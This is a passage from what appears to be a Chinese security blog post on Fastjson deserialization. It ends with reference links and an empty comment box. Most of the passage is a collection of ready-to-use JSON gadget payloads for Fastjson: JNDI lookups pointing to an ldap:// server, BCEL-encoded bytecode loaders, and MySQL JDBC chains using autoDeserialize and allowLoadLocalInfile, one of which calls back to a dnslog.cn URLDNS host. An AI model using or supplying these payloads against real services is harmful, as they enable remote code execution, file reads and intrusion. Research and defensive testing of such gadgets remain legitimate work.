    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

SessionBeanProvider

{
    "@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
    "jndiName": "ldap://127.0.0.1:23457/Command8",
    "Object": "su18"
}

JMSContentInterceptor

{
    "@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
    "parameters": {
        "@type": "java.util.Hashtable",
        "java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
        "topic-factory": "ldap://127.0.0.1:23457/Command8"
    },
    "namespace": ""
}

ContextClassLoaderSwitcher

{
    "@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
    "contextClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "a": {
        "@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
    }
}

OracleManagedConnectionFactory

{
    "@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
    "xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}

JNDIConfiguration

{
    "@type": "org.apache.commons.configuration.JNDIConfiguration",
    "prefix": "ldap://127.0.0.1:23457/Command8"
}

JDBC4Connection

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.jdbc.JDBC4Connection",
    "hostToConnectTo": "172.20.64.40",
    "portToConnectTo": 3306,
    "url": "jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
    "databaseToConnectTo": "test",
    "info": {
        "@type": "java.util.Properties",
        "PORT": "3306",
        "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
        "autoDeserialize": "true",
        "user": "yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn",
        "PORT.1": "3306",
        "HOST.1": "172.20.64.40",
        "NUM_HOSTS": "1",
        "HOST": "172.20.64.40",
        "DBNAME": "test"
    }
}

LoadBalancedMySQLConnection

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
    "proxy": {
        "connectionString": {
            "url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
        }
    }
}

ReplicationMySQLConnection

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [{
                "host": "mysql.host"
            }],
            "slaves": [],
            "properties": {
                "host": "mysql.host",
                "user": "user",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true"
            }
        }
    }
}

UnpooledDataSource

{
    "x": {
        {
            "@type": "com.alibaba.fastjson.JSONObject",
            "name": {
                "@type": "java.lang.Class",
                "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
            },
            "c": {
                "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
                "key": {
                    "@type": "java.lang.Class",
                    "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driver": "$$BCEL$$$l$8b$..."
            }
        }: "a"
    }
}

调了这么多个版本,天亮了, 一晚上过去了, 身体已经很疲劳了,但是心里很充实hh, 睡觉睡觉:sleepy:

参考文章:

https://su18.org/post/fastjson/#4-fastjson-1243

https://www.freebuf.com/articles/web/283585.html

https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ

http://blog.o3ev.cn/yy/1311#menu_index_12

https://b1ue.cn/archives/382.html

https://su18.org/post/fastjson/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇